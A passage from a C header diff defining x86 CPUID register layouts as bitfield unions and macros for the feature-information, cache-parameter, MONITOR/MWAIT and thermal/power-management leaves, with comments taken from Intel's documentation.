CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_BIT 18 +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_FLAG 0x40000 +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER(_) (((_) >> 18) & 0x01) + + /** + * @brief CLFLUSH Instruction + * + * [Bit 19] CLFLUSH Instruction is supported. + */ + uint32_t clflush : 1; +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_BIT 19 +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_FLAG 0x80000 +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH(_) (((_) >> 19) & 0x01) + uint32_t reserved2 : 1; + + /** + * @brief Debug Store + * + * [Bit 21] The processor supports the ability to write debug information into a memory resident buffer. This feature is + * used by the branch trace store (BTS) and processor event-based sampling (PEBS) facilities. + * + * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] + */ + uint32_t debug_store : 1; +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_BIT 21 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_FLAG 0x200000 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE(_) (((_) >> 21) & 0x01) + + /** + * @brief Thermal Monitor and Software Controlled Clock Facilities + * + * [Bit 22] The processor implements internal MSRs that allow processor temperature to be monitored and processor + * performance to be modulated in predefined duty cycles under software control. + */ + uint32_t thermal_control_msrs_for_acpi : 1; +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_BIT 22 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_FLAG 0x400000 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI(_) (((_) >> 22) & 0x01) + + /** + * @brief Intel MMX Technology + * + * [Bit 23] The processor supports the Intel MMX technology. + */ + uint32_t mmx_support : 1; +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_BIT 23 +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_FLAG 0x800000 +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT(_) (((_) >> 23) & 0x01) + + /** + * @brief FXSAVE and FXRSTOR Instructions + * + * [Bit 24] The FXSAVE and FXRSTOR instructions are supported for fast save and restore of the floating point context. + * Presence of this bit also indicates that CR4.OSFXSR is available for an operating system to indicate that it supports + * the FXSAVE and FXRSTOR instructions. + */ + uint32_t fxsave_fxrstor_instructions : 1; +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_BIT 24 +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_FLAG 0x1000000 +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS(_) (((_) >> 24) & 0x01) + + /** + * @brief SSE extensions support + * + * [Bit 25] The processor supports the SSE extensions. + */ + uint32_t sse_support : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_BIT 25 +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_FLAG 0x2000000 +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SSE_SUPPORT(_) (((_) >> 25) & 0x01) + + /** + * @brief SSE2 extensions support + * + * [Bit 26] The processor supports the SSE2 extensions. + */ + uint32_t sse2_support : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_BIT 26 +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_FLAG 0x4000000 +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SSE2_SUPPORT(_) (((_) >> 26) & 0x01) + + /** + * @brief Self Snoop + * + * [Bit 27] The processor supports the management of conflicting memory types by performing a snoop of its own cache + * structure for transactions issued to the bus. + */ + uint32_t self_snoop : 1; +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_BIT 27 +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_FLAG 0x8000000 +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_SELF_SNOOP(_) (((_) >> 27) & 0x01) + + /** + * @brief Max APIC IDs reserved field is Valid + * + * [Bit 28] A value of 0 for HTT indicates there is only a single logical processor in the package and software should + * assume only a single APIC ID is reserved. A value of 1 for HTT indicates the value in CPUID.1.EBX[23:16] (the Maximum + * number of addressable IDs for logical processors in this package) is valid for the package. + */ + uint32_t hyper_threading_technology : 1; +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_BIT 28 +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_FLAG 0x10000000 +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_HYPER_THREADING_TECHNOLOGY(_) (((_) >> 28) & 0x01) + + /** + * @brief Thermal Monitor + * + * [Bit 29] The processor implements the thermal monitor automatic thermal control circuitry (TCC). + */ + uint32_t thermal_monitor : 1; +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_BIT 29 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_FLAG 0x20000000 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_MONITOR(_) (((_) >> 29) & 0x01) + uint32_t reserved3 : 1; + + /** + * @brief Pending Break Enable + * + * [Bit 31] The processor supports the use of the FERR\#/PBE\# pin when the processor is in the stop-clock state (STPCLK\# + * is asserted) to signal the processor that an interrupt is pending and that the processor should return to normal + * operation to handle the interrupt. Bit 10 (PBE enable) in the IA32_MISC_ENABLE MSR enables this capability. + */ + uint32_t pending_break_enable : 1; +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_BIT 31 +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_FLAG 0x80000000 +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_EDX_PENDING_BREAK_ENABLE(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; + } cpuid_feature_information_edx; + +} cpuid_eax_01; + + +/** + * @brief Deterministic Cache Parameters Leaf + * + * When CPUID executes with EAX set to 04H and ECX contains an index value, the processor returns encoded data that + * describe a set of deterministic cache parameters (for the cache level associated with the input in ECX). Valid index + * values start from 0. + * Software can enumerate the deterministic cache parameters for each level of the cache hierarchy starting with an index + * value of 0, until the parameters report the value associated with the cache type field is 0. The architecturally defined + * fields reported by deterministic cache parameters are documented in Table 3-8. + * This Cache Size in Bytes + * - = (Ways + 1) * (Partitions + 1) * (Line_Size + 1) * (Sets + 1) + * - = (EBX[31:22] + 1) * (EBX[21:12] + 1) * (EBX[11:0] + 1) * (ECX + 1) + * The CPUID leaf 04H also reports data that can be used to derive the topology of processor cores in a physical package. + * This information is constant for all valid index values. Software can query the raw data reported by executing CPUID + * with EAX=04H and ECX=0 and use it as part of the topology enumeration algorithm. + * + * @see Vol3A[8(Multiple-Processor Management)] + */ +#define CPUID_CACHE_PARAMETERS 0x00000004 +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] - 0 = Null - No more caches. + * - 1 = Data Cache. + * - 2 = Instruction Cache. + * - 3 = Unified Cache. + * - 4-31 = Reserved. + */ + uint32_t cache_type_field : 5; +#define CPUID_EAX_CACHE_TYPE_FIELD_BIT 0 +#define CPUID_EAX_CACHE_TYPE_FIELD_FLAG 0x1F +#define CPUID_EAX_CACHE_TYPE_FIELD_MASK 0x1F +#define CPUID_EAX_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 7:5] Cache Level (starts at 1). + */ + uint32_t cache_level : 3; +#define CPUID_EAX_CACHE_LEVEL_BIT 5 +#define CPUID_EAX_CACHE_LEVEL_FLAG 0xE0 +#define CPUID_EAX_CACHE_LEVEL_MASK 0x07 +#define CPUID_EAX_CACHE_LEVEL(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Self Initializing cache level (does not need SW initialization). + */ + uint32_t self_initializing_cache_level : 1; +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_BIT 8 +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_FLAG 0x100 +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL_MASK 0x01 +#define CPUID_EAX_SELF_INITIALIZING_CACHE_LEVEL(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Fully Associative cache. + */ + uint32_t fully_associative_cache : 1; +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_BIT 9 +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_FLAG 0x200 +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE_MASK 0x01 +#define CPUID_EAX_FULLY_ASSOCIATIVE_CACHE(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this cache. + * + * @note Add one to the return value to get the result. + * The nearest power-of-2 integer that is not smaller than (1 + EAX[25:14]) is the number of unique initial APIC IDs + * reserved for addressing different logical processors sharing this cache. + */ + uint32_t max_addressable_ids_for_logical_processors_sharing_this_cache : 12; +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_BIT 14 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_FLAG 0x3FFC000 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE_MASK 0xFFF +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_SHARING_THIS_CACHE(_) (((_) >> 14) & 0xFFF) + + /** + * [Bits 31:26] Maximum number of addressable IDs for processor cores in the physical package. + * + * @note Add one to the return value to get the result. + * The nearest power-of-2 integer that is not smaller than (1 + EAX[31:26]) is the number of unique Core_IDs reserved for + * addressing different processor cores in a physical package. Core ID is a subset of bits of the initial APIC ID. + * The returned value is constant for valid initial values in ECX. Valid ECX values start from 0. + */ + uint32_t max_addressable_ids_for_processor_cores_in_physical_package : 6; +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_BIT 26 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_FLAG 0xFC000000 +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE_MASK 0x3F +#define CPUID_EAX_MAX_ADDRESSABLE_IDS_FOR_PROCESSOR_CORES_IN_PHYSICAL_PACKAGE(_) (((_) >> 26) & 0x3F) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 11:0] System Coherency Line Size. + * + * @note Add one to the return value to get the result. + */ + uint32_t system_coherency_line_size : 12; +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_BIT 0 +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_FLAG 0xFFF +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE_MASK 0xFFF +#define CPUID_EBX_SYSTEM_COHERENCY_LINE_SIZE(_) (((_) >> 0) & 0xFFF) + + /** + * [Bits 21:12] Physical Line partitions. + * + * @note Add one to the return value to get the result. + */ + uint32_t physical_line_partitions : 10; +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_BIT 12 +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_FLAG 0x3FF000 +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_MASK 0x3FF +#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS(_) (((_) >> 12) & 0x3FF) + + /** + * [Bits 31:22] Ways of associativity. + * + * @note Add one to the return value to get the result. + */ + uint32_t ways_of_associativity : 10; +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_BIT 22 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_FLAG 0xFFC00000 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_MASK 0x3FF +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY(_) (((_) >> 22) & 0x3FF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Number of Sets. + * + * @note Add one to the return value to get the result. + */ + uint32_t number_of_sets : 32; +#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 +#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * @brief Write-Back Invalidate/Invalidate + * + * [Bit 0] - 0 = WBINVD/INVD from threads sharing this cache acts upon lower level caches for threads sharing this cache. + * - 1 = WBINVD/INVD is not guaranteed to act upon lower level caches of non-originating threads sharing this cache. + */ + uint32_t write_back_invalidate : 1; +#define CPUID_EDX_WRITE_BACK_INVALIDATE_BIT 0 +#define CPUID_EDX_WRITE_BACK_INVALIDATE_FLAG 0x01 +#define CPUID_EDX_WRITE_BACK_INVALIDATE_MASK 0x01 +#define CPUID_EDX_WRITE_BACK_INVALIDATE(_) (((_) >> 0) & 0x01) + + /** + * @brief Cache Inclusiveness + * + * [Bit 1] - 0 = Cache is not inclusive of lower cache levels. + * - 1 = Cache is inclusive of lower cache levels. + */ + uint32_t cache_inclusiveness : 1; +#define CPUID_EDX_CACHE_INCLUSIVENESS_BIT 1 +#define CPUID_EDX_CACHE_INCLUSIVENESS_FLAG 0x02 +#define CPUID_EDX_CACHE_INCLUSIVENESS_MASK 0x01 +#define CPUID_EDX_CACHE_INCLUSIVENESS(_) (((_) >> 1) & 0x01) + + /** + * @brief Complex Cache Indexing + * + * [Bit 2] - 0 = Direct mapped cache. + * - 1 = A complex function is used to index the cache, potentially using all address bits. + */ + uint32_t complex_cache_indexing : 1; +#define CPUID_EDX_COMPLEX_CACHE_INDEXING_BIT 2 +#define CPUID_EDX_COMPLEX_CACHE_INDEXING_FLAG 0x04 +#define CPUID_EDX_COMPLEX_CACHE_INDEXING_MASK 0x01 +#define CPUID_EDX_COMPLEX_CACHE_INDEXING(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 29; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_04; + + +/** + * @brief MONITOR/MWAIT Leaf + * + * When CPUID executes with EAX set to 05H, the processor returns information about features available to MONITOR/MWAIT + * instructions. The MONITOR instruction is used for address-range monitoring in conjunction with MWAIT instruction. The + * MWAIT instruction optionally provides additional extensions for advanced power management. + */ +#define CPUID_MONITOR_MWAIT 0x00000005 +typedef struct +{ + union + { + struct + { + /** + * [Bits 15:0] Smallest monitor-line size in bytes (default is processor's monitor granularity). + */ + uint32_t smallest_monitor_line_size : 16; +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_BIT 0 +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_FLAG 0xFFFF +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_MASK 0xFFFF +#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Largest monitor-line size in bytes (default is processor's monitor granularity). + */ + uint32_t largest_monitor_line_size : 16; +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_BIT 0 +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_FLAG 0xFFFF +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_MASK 0xFFFF +#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] Enumeration of Monitor-Mwait extensions (beyond EAX and EBX registers) supported. + */ + uint32_t enumeration_of_monitor_mwait_extensions : 1; +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_BIT 0 +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_FLAG 0x01 +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_MASK 0x01 +#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Supports treating interrupts as break-event for MWAIT, even when interrupts disabled. + */ + uint32_t supports_treating_interrupts_as_break_event_for_mwait : 1; +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_BIT 1 +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_FLAG 0x02 +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_MASK 0x01 +#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT(_) (((_) >> 1) & 0x01) + uint32_t reserved1 : 30; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 3:0] Number of C0 sub C-states supported using MWAIT. + */ + uint32_t number_of_c0_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_BIT 0 +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_FLAG 0x0F +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES(_) (((_) >> 0) & 0x0F) + + /** + * [Bits 7:4] Number of C1 sub C-states supported using MWAIT. + */ + uint32_t number_of_c1_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_BIT 4 +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_FLAG 0xF0 +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES(_) (((_) >> 4) & 0x0F) + + /** + * [Bits 11:8] Number of C2 sub C-states supported using MWAIT. + */ + uint32_t number_of_c2_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_BIT 8 +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_FLAG 0xF00 +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 15:12] Number of C3 sub C-states supported using MWAIT. + */ + uint32_t number_of_c3_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_BIT 12 +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_FLAG 0xF000 +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES(_) (((_) >> 12) & 0x0F) + + /** + * [Bits 19:16] Number of C4 sub C-states supported using MWAIT. + */ + uint32_t number_of_c4_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_BIT 16 +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_FLAG 0xF0000 +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES(_) (((_) >> 16) & 0x0F) + + /** + * [Bits 23:20] Number of C5 sub C-states supported using MWAIT. + */ + uint32_t number_of_c5_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_BIT 20 +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_FLAG 0xF00000 +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES(_) (((_) >> 20) & 0x0F) + + /** + * [Bits 27:24] Number of C6 sub C-states supported using MWAIT. + */ + uint32_t number_of_c6_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_BIT 24 +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_FLAG 0xF000000 +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES(_) (((_) >> 24) & 0x0F) + + /** + * [Bits 31:28] Number of C7 sub C-states supported using MWAIT. + */ + uint32_t number_of_c7_sub_c_states : 4; +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_BIT 28 +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_FLAG 0xF0000000 +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_MASK 0x0F +#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES(_) (((_) >> 28) & 0x0F) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_05; + + +/** + * @brief Thermal and Power Management Leaf + * + * When CPUID executes with EAX set to 06H, the processor returns information about thermal and power management features. + */ +#define CPUID_THERMAL_AND_POWER_MANAGEMENT 0x00000006 +typedef struct +{ + union + { + struct + { + /** + * [Bit 0] Digital temperature sensor is supported if set. + */ + uint32_t temperature_sensor_supported : 1; +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_BIT 0 +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_FLAG 0x01 +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_MASK 0x01 +#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Intel Turbo Boost Technology available (see description of IA32_MISC_ENABLE[38]). + */ + uint32_t intel_turbo_boost_technology_available : 1; +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_BIT 1 +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_FLAG 0x02 +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_MASK 0x01 +#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] ARAT. APIC-Timer-always-running feature is supported if set. + */ + uint32_t apic_timer_always_running : 1; +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_BIT 2 +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_FLAG 0x04 +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_MASK 0x01 +#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 1; + + /** + * [Bit 4] PLN. Power limit notification controls are supported if set. + */ + uint32_t power_limit_notification : 1; +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_BIT 4 +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_FLAG 0x10 +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_MASK 0x01 +#define CPUID_EAX_POWER_LIMIT_NOTIFICATION(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] ECMD. Clock modulation duty cycle extension is supported if set. + */ + uint32_t clock_modulation_duty : 1; +#define CPUID_EAX_CLOCK_MODULATION_DUTY_BIT 5 +#define CPUID_EAX_CLOCK_MODULATION_DUTY_FLAG 0x20 +#define CPUID_EAX_CLOCK_MODULATION_DUTY_MASK 0x01 +#define CPUID_EAX_CLOCK_MODULATION_DUTY(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] PTM. Package thermal management is supported if set. + */ + uint32_t package_thermal_management : 1; +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_BIT 6 +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_FLAG 0x40 +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_MASK 0x01 +#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] HWP. HWP base registers (IA32_PM_ENABLE[bit 0], IA32_HWP_CAPABILITIES, IA32_HWP_REQUEST, IA32_HWP_STATUS) are + * supported if set. + */ + uint32_t hwp_base_registers : 1; +#define CPUID_EAX_HWP_BASE_REGISTERS_BIT 7 +#define CPUID_EAX_HWP_BASE_REGISTERS_FLAG 0x80 +#define CPUID_EAX_HWP_BASE_REGISTERS_MASK 0x01 +#define CPUID_EAX_HWP_BASE_REGISTERS(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] HWP_Notification. IA32_HWP_INTERRUPT MSR is supported if set. + */ + uint32_t hwp_notification : 1; +#define CPUID_EAX_HWP_NOTIFICATION_BIT 8 +#define CPUID_EAX_HWP_NOTIFICATION_FLAG 0x100 +#define CPUID_EAX_HWP_NOTIFICATION_MASK 0x01 +#define CPUID_EAX_HWP_NOTIFICATION(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] HWP_Activity_Window. IA32_HWP_REQUEST[bits 41:32] is supported if set. + */ + uint32_t hwp_activity_window : 1; +#define CPUID_EAX_HWP_ACTIVITY_WINDOW_BIT 9 +#define CPUID_EAX_HWP_ACTIVITY_WINDOW_FLAG 0x200 +#define CPUID_EAX_HWP_ACTIVITY_WINDOW_MASK 0x01 +#define CPUID_EAX_HWP_ACTIVITY_WINDOW(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] HWP_Energy_Performance_Preference. IA32_HWP_REQUEST[bits 31:24] is supported if set. + */ + uint32_t hwp_energy_performance_preference : 1; +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_BIT 10 +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0x400 +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_MASK 0x01 +#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] HWP_Package_Level_Request. IA32_HWP_REQUEST_PKG MSR is supported if set. + */ + uint32_t hwp_package_level_request : 1; +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_BIT 11 +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_FLAG 0x800 +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_MASK 0x01 +#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST(_) (((_) >> 11) & 0x01) + uint32_t reserved2 : 1; + + /** + * [Bit 13] HDC. HDC base registers IA32_PKG_HDC_CTL, IA32_PM_CTL1, IA32_THREAD_STALL MSRs are supported if set. + */ + uint32_t hdc : 1; +#define CPUID_EAX_HDC_BIT 13 +#define CPUID_EAX_HDC_FLAG 0x2000 +#define CPUID_EAX_HDC_MASK 0x01 +#define CPUID_EAX_HDC(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] Intel(R) Turbo Boost Max Technology 3.0 available. + */ + uint32_t intel_turbo_boost_max_technology_3_available : 1; +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_BIT 14 +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_FLAG 0x4000 +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_MASK 0x01 +#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] HWP Capabilities. Highest Performance change is supported if set. + */ + uint32_t hwp_capabilities : 1; +#define CPUID_EAX_HWP_CAPABILITIES_BIT 15 +#define CPUID_EAX_HWP_CAPABILITIES_FLAG 0x8000 +#define CPUID_EAX_HWP_CAPABILITIES_MASK 0x01 +#define CPUID_EAX_HWP_CAPABILITIES(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] HWP PECI override is supported if set. + */ + uint32_t hwp_peci_override : 1; +#define CPUID_EAX_HWP_PECI_OVERRIDE_BIT 16 +#define CPUID_EAX_HWP_PECI_OVERRIDE_FLAG 0x10000 +#define CPUID_EAX_HWP_PECI_OVERRIDE_MASK 0x01 +#define CPUID_EAX_HWP_PECI_OVERRIDE(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] 